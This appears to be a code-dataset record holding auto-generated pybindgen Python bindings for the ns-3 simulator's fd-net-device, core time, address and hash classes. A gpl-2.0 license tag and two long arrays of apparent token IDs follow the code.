ns3::TapFdNetDeviceHelper::SetTapIpv4Mask(ns3::Ipv4Mask mask) [member function] cls.add_method('SetTapIpv4Mask', 'void', [param('ns3::Ipv4Mask', 'mask')]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): void ns3::TapFdNetDeviceHelper::SetTapIpv6Address(ns3::Ipv6Address address) [member function] cls.add_method('SetTapIpv6Address', 'void', [param('ns3::Ipv6Address', 'address')]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): void ns3::TapFdNetDeviceHelper::SetTapIpv6Prefix(int prefix) [member function] cls.add_method('SetTapIpv6Prefix', 'void', [param('int', 'prefix')]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): void ns3::TapFdNetDeviceHelper::SetTapMacAddress(ns3::Mac48Address mac) [member function] cls.add_method('SetTapMacAddress', 'void', [param('ns3::Mac48Address', 'mac')]) ## tap-fd-net-device-helper.h (module 'fd-net-device'): int ns3::TapFdNetDeviceHelper::CreateFileDescriptor() const [member function] cls.add_method('CreateFileDescriptor', 'int', [], is_const=True, visibility='protected', is_virtual=True) ## tap-fd-net-device-helper.h (module 'fd-net-device'): ns3::Ptr<ns3::NetDevice> ns3::TapFdNetDeviceHelper::InstallPriv(ns3::Ptr<ns3::Node> node) const [member function] cls.add_method('InstallPriv', 'ns3::Ptr< ns3::NetDevice >', [param('ns3::Ptr< ns3::Node >', 'node')], is_const=True, visibility='protected', is_virtual=True) ## tap-fd-net-device-helper.h (module 'fd-net-device'): void ns3::TapFdNetDeviceHelper::SetFileDescriptor(ns3::Ptr<ns3::FdNetDevice> device) const [member function] cls.add_method('SetFileDescriptor', 'void', [param('ns3::Ptr< ns3::FdNetDevice >', 'device')], is_const=True, visibility='protected', is_virtual=True) return def register_Ns3TimeValue_methods(root_module, cls): ## nstime.h (module 'core'): ns3::TimeValue::TimeValue() [constructor] cls.add_constructor([]) ## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::TimeValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::TimeValue const &', 'arg0')]) ## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::Time const & value) [constructor] cls.add_constructor([param('ns3::Time const &', 'value')]) ## nstime.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TimeValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## nstime.h (module 'core'): bool ns3::TimeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## nstime.h (module 'core'): ns3::Time ns3::TimeValue::Get() const [member function] cls.add_method('Get', 'ns3::Time', [], is_const=True) ## nstime.h (module 'core'): std::string ns3::TimeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## nstime.h (module 'core'): void ns3::TimeValue::Set(ns3::Time const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Time const &', 'value')]) return def register_Ns3TypeIdChecker_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker(ns3::TypeIdChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeIdChecker const &', 'arg0')]) return def register_Ns3TypeIdValue_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeIdValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeIdValue const &', 'arg0')]) ## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeId const & value) [constructor] cls.add_constructor([param('ns3::TypeId const &', 'value')]) ## type-id.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TypeIdValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## type-id.h (module 'core'): bool ns3::TypeIdValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeIdValue::Get() const [member function] cls.add_method('Get', 'ns3::TypeId', [], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeIdValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## type-id.h (module 'core'): void ns3::TypeIdValue::Set(ns3::TypeId const & value) [member function] cls.add_method('Set', 'void', [param('ns3::TypeId const &', 'value')]) return def register_Ns3AddressChecker_methods(root_module, cls): ## address.h (module 'network'): ns3::AddressChecker::AddressChecker() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::AddressChecker::AddressChecker(ns3::AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::AddressChecker const &', 'arg0')]) return def register_Ns3AddressValue_methods(root_module, cls): ## address.h (module 'network'): ns3::AddressValue::AddressValue() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::AddressValue const &', 'arg0')]) ## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::Address const & value) [constructor] cls.add_constructor([param('ns3::Address const &', 'value')]) ## address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## address.h (module 'network'): bool ns3::AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## address.h (module 'network'): ns3::Address ns3::AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Address', [], is_const=True) ## address.h (module 'network'): std::string ns3::AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## address.h (module 'network'): void ns3::AddressValue::Set(ns3::Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Address const &', 'value')]) return def register_Ns3FdNetDevice_methods(root_module, cls): ## fd-net-device.h (module 'fd-net-device'): ns3::FdNetDevice::FdNetDevice() [constructor] cls.add_constructor([]) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function] cls.add_method('AddLinkChangeCallback', 'void', [param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): ns3::Address ns3::FdNetDevice::GetAddress() const [member function] cls.add_method('GetAddress', 'ns3::Address', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): ns3::Address ns3::FdNetDevice::GetBroadcast() const [member function] cls.add_method('GetBroadcast', 'ns3::Address', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): ns3::Ptr<ns3::Channel> ns3::FdNetDevice::GetChannel() const [member function] cls.add_method('GetChannel', 'ns3::Ptr< ns3::Channel >', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): ns3::FdNetDevice::EncapsulationMode ns3::FdNetDevice::GetEncapsulationMode() const [member function] cls.add_method('GetEncapsulationMode', 'ns3::FdNetDevice::EncapsulationMode', [], is_const=True) ## fd-net-device.h (module 'fd-net-device'): uint32_t ns3::FdNetDevice::GetIfIndex() const [member function] cls.add_method('GetIfIndex', 'uint32_t', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): uint16_t ns3::FdNetDevice::GetMtu() const [member function] cls.add_method('GetMtu', 'uint16_t', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): ns3::Address ns3::FdNetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function] cls.add_method('GetMulticast', 'ns3::Address', [param('ns3::Ipv4Address', 'multicastGroup')], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): ns3::Address ns3::FdNetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function] cls.add_method('GetMulticast', 'ns3::Address', [param('ns3::Ipv6Address', 'addr')], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): ns3::Ptr<ns3::Node> ns3::FdNetDevice::GetNode() const [member function] cls.add_method('GetNode', 'ns3::Ptr< ns3::Node >', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): static ns3::TypeId ns3::FdNetDevice::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::IsBridge() const [member function] cls.add_method('IsBridge', 'bool', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::IsLinkUp() const [member function] cls.add_method('IsLinkUp', 'bool', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::IsPointToPoint() const [member function] cls.add_method('IsPointToPoint', 'bool', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::NeedsArp() const [member function] cls.add_method('NeedsArp', 'bool', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function] cls.add_method('Send', 'bool', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function] cls.add_method('SendFrom', 'bool', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetAddress(ns3::Address address) [member function] cls.add_method('SetAddress', 'void', [param('ns3::Address', 'address')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetEncapsulationMode(ns3::FdNetDevice::EncapsulationMode mode) [member function] cls.add_method('SetEncapsulationMode', 'void', [param('ns3::FdNetDevice::EncapsulationMode', 'mode')]) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetFileDescriptor(int fd) [member function] cls.add_method('SetFileDescriptor', 'void', [param('int', 'fd')]) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetIfIndex(uint32_t const index) [member function] cls.add_method('SetIfIndex', 'void', [param('uint32_t const', 'index')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetIsBroadcast(bool broadcast) [member function] cls.add_method('SetIsBroadcast', 'void', [param('bool', 'broadcast')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetIsMulticast(bool multicast) [member function] cls.add_method('SetIsMulticast', 'void', [param('bool', 'multicast')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::SetMtu(uint16_t const mtu) [member function] cls.add_method('SetMtu', 'bool', [param('uint16_t const', 'mtu')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('SetNode', 'void', [param('ns3::Ptr< ns3::Node >', 'node')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetPromiscReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> cb) [member function] cls.add_method('SetPromiscReceiveCallback', 'void', [param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::SetReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function] cls.add_method('SetReceiveCallback', 'void', [param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')], is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::Start(ns3::Time tStart) [member function] cls.add_method('Start', 'void', [param('ns3::Time', 'tStart')]) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::Stop(ns3::Time tStop) [member function] cls.add_method('Stop', 'void', [param('ns3::Time', 'tStop')]) ## fd-net-device.h (module 'fd-net-device'): bool ns3::FdNetDevice::SupportsSendFrom() const [member function] cls.add_method('SupportsSendFrom', 'bool', [], is_const=True, is_virtual=True) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDevice::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3FdNetDeviceFdReader_methods(root_module, cls): ## fd-net-device.h (module 'fd-net-device'): ns3::FdNetDeviceFdReader::FdNetDeviceFdReader(ns3::FdNetDeviceFdReader const & arg0) [copy constructor] cls.add_constructor([param('ns3::FdNetDeviceFdReader const &', 'arg0')]) ## fd-net-device.h (module 'fd-net-device'): ns3::FdNetDeviceFdReader::FdNetDeviceFdReader() [constructor] cls.add_constructor([]) ## fd-net-device.h (module 'fd-net-device'): void ns3::FdNetDeviceFdReader::SetBufferSize(uint32_t bufferSize) [member function] cls.add_method('SetBufferSize', 'void', [param('uint32_t', 'bufferSize')]) ## fd-net-device.h (module 'fd-net-device'): ns3::FdReader::Data ns3::FdNetDeviceFdReader::DoRead() [member function] cls.add_method('DoRead', 'ns3::FdReader::Data', [], visibility='private', is_virtual=True) return def register_Ns3HashImplementation_methods(root_module, cls): ## hash-function.h (module 'core'): ns3::Hash::Implementation::Implementation(ns3::Hash::Implementation const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Implementation const &', 'arg0')]) ## hash-function.h (module 'core'): ns3::Hash::Implementation::Implementation() [constructor] cls.add_constructor([]) ## hash-function.h (module 'core'): uint32_t ns3::Hash::Implementation::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_pure_virtual=True, is_virtual=True) ## hash-function.h (module 'core'): uint64_t ns3::Hash::Implementation::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): void ns3::Hash::Implementation::clear() [member function] cls.add_method('clear', 'void', [], is_pure_virtual=True, is_virtual=True) return def register_Ns3HashFunctionFnv1a_methods(root_module, cls): ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a::Fnv1a(ns3::Hash::Function::Fnv1a const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Fnv1a const &', 'arg0')]) ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a::Fnv1a() [constructor] cls.add_constructor([]) ## hash-fnv.h (module 'core'): uint32_t ns3::Hash::Function::Fnv1a::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-fnv.h (module 'core'): uint64_t ns3::Hash::Function::Fnv1a::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-fnv.h (module 'core'): void ns3::Hash::Function::Fnv1a::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_Ns3HashFunctionHash32_methods(root_module, cls): ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32::Hash32(ns3::Hash::Function::Hash32 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Hash32 const &', 'arg0')]) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32::Hash32(ns3::Hash::Hash32Function_ptr hp) [constructor] cls.add_constructor([param('ns3::Hash::Hash32Function_ptr', 'hp')]) ## hash-function.h (module 'core'): uint32_t ns3::Hash::Function::Hash32::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): void ns3::Hash::Function::Hash32::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_Ns3HashFunctionHash64_methods(root_module, cls): ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64::Hash64(ns3::Hash::Function::Hash64 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Hash64 const &', 'arg0')]) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64::Hash64(ns3::Hash::Hash64Function_ptr hp) [constructor] cls.add_constructor([param('ns3::Hash::Hash64Function_ptr', 'hp')]) ## hash-function.h (module 'core'): uint32_t ns3::Hash::Function::Hash64::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): uint64_t ns3::Hash::Function::Hash64::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): void ns3::Hash::Function::Hash64::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_Ns3HashFunctionMurmur3_methods(root_module, cls): ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3::Murmur3(ns3::Hash::Function::Murmur3 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Murmur3 const &', 'arg0')]) ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3::Murmur3() [constructor] cls.add_constructor([]) ## hash-murmur3.h (module 'core'): uint32_t ns3::Hash::Function::Murmur3::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-murmur3.h (module 'core'): uint64_t ns3::Hash::Function::Murmur3::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-murmur3.h (module 'core'): void ns3::Hash::Function::Murmur3::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_functions(root_module): module = root_module register_functions_ns3_FatalImpl(module.get_submodule('FatalImpl'), root_module) register_functions_ns3_Hash(module.get_submodule('Hash'), root_module) return def register_functions_ns3_FatalImpl(module, root_module): return def register_functions_ns3_Hash(module, root_module): register_functions_ns3_Hash_Function(module.get_submodule('Function'), root_module) return def register_functions_ns3_Hash_Function(module, root_module): return def main(): out = FileCodeSink(sys.stdout) root_module = module_init() register_types(root_module) register_methods(root_module) register_functions(root_module) root_module.generate(out) if __name__ == '__main__': main()
gpl-2.0
[ 504, 1134, 31297, 492, 5673, 12, 3814, 3034, 17111, 12, 1215, 12, 9151, 12, 7246, 533, 12, 14330, 421, 199, 646, 1134, 31297, 14, 1751, 199, 646, 3598, 199, 199, 533, 4520, 2461, 8, 647, 31297, 14, 1751, 14, 25933, 304, 272, 347, 2429, 63, 705, 8, 277, 12, 4975, 12, 1919, 12, 5190, 7822, 267, 3598, 14, 4050, 480, 1971, 450, 82, 315, 4975, 450, 83, 2, 450, 334, 1971, 12, 4975, 430, 267, 372, 715, 199, 647, 31297, 14, 1751, 14, 705, 63, 2232, 275, 4520, 2461, 342, 421, 199, 646, 984, 199, 199, 318, 859, 63, 826, 837, 272, 1738, 63, 578, 275, 5673, 360, 561, 14, 2592, 63, 846, 63, 1782, 297, 7246, 63, 3251, 18749, 26, 561, 19, 358, 272, 372, 1738, 63, 578, 199, 199, 318, 2274, 63, 1313, 8, 578, 304, 272, 1738, 63, 578, 275, 859, 14, 362, 63, 1231, 342, 2286, 925, 2287, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1476, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 1476, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 2287, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1476, 447, 4261, 2320, 63, 69, 359, 14130, 61, 272, 859, 14, 525, 63, 4869, 360, 4261, 2320, 63, 69, 297, 788, 4283, 63, 4305, 995, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 1476, 995, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3307, 13, 3676, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 17333, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 17333, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3307, 13, 3676, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 27492, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 27492, 297, 2040, 63, 27904, 29, 549, 12, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 2225, 13, 12708, 13, 513, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 11120, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 11120, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 2225, 13, 12708, 13, 513, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 11120, 447, 2081, 359, 1820, 61, 272, 859, 14, 525, 63, 533, 360, 2081, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 11120, 1105, 272, 925, 3335, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 3299, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 3299, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3335, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 3299, 447, 3585, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 3585, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 3299, 1105, 272, 925, 3644, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 14420, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 14420, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3644, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 14420, 447, 2081, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 2081, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 14420, 1105, 272, 925, 3696, 13, 1450, 13, 513, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 10499, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 10499, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3696, 13, 1450, 13, 513, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 10499, 447, 3585, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 3585, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 10499, 1105, 272, 925, 3696, 13, 1450, 13, 513, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 10499, 447, 3585, 447, 2081, 359, 1820, 61, 272, 859, 14, 525, 63, 533, 360, 2081, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 10499, 447, 3585, 1105, 272, 925, 3233, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 9822, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 9822, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 2656, 13, 19078, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 27677, 8660, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 27677, 8660, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 666, 13, 1866, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 20390, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 20390, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 1566, 13, 344, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 12534, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 12534, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 2631, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 13415, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 13415, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 3278, 20, 13, 1562, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1762, 20, 1476, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 1762, 20, 1476, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3278, 20, 13, 1562, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1762, 20, 1476, 359, 533, 61, 272, 1738, 63, 578, 459, 561, 19, 447, 1762, 20, 1476, 2278, 31120, 63, 28392, 63, 475, 8, 1231 ]
[ 1134, 31297, 492, 5673, 12, 3814, 3034, 17111, 12, 1215, 12, 9151, 12, 7246, 533, 12, 14330, 421, 199, 646, 1134, 31297, 14, 1751, 199, 646, 3598, 199, 199, 533, 4520, 2461, 8, 647, 31297, 14, 1751, 14, 25933, 304, 272, 347, 2429, 63, 705, 8, 277, 12, 4975, 12, 1919, 12, 5190, 7822, 267, 3598, 14, 4050, 480, 1971, 450, 82, 315, 4975, 450, 83, 2, 450, 334, 1971, 12, 4975, 430, 267, 372, 715, 199, 647, 31297, 14, 1751, 14, 705, 63, 2232, 275, 4520, 2461, 342, 421, 199, 646, 984, 199, 199, 318, 859, 63, 826, 837, 272, 1738, 63, 578, 275, 5673, 360, 561, 14, 2592, 63, 846, 63, 1782, 297, 7246, 63, 3251, 18749, 26, 561, 19, 358, 272, 372, 1738, 63, 578, 199, 199, 318, 2274, 63, 1313, 8, 578, 304, 272, 1738, 63, 578, 275, 859, 14, 362, 63, 1231, 342, 2286, 925, 2287, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1476, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 1476, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 2287, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1476, 447, 4261, 2320, 63, 69, 359, 14130, 61, 272, 859, 14, 525, 63, 4869, 360, 4261, 2320, 63, 69, 297, 788, 4283, 63, 4305, 995, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 1476, 995, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3307, 13, 3676, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 17333, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 17333, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3307, 13, 3676, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 27492, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 27492, 297, 2040, 63, 27904, 29, 549, 12, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 2225, 13, 12708, 13, 513, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 11120, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 11120, 297, 492, 63, 504, 63, 578, 534, 561, 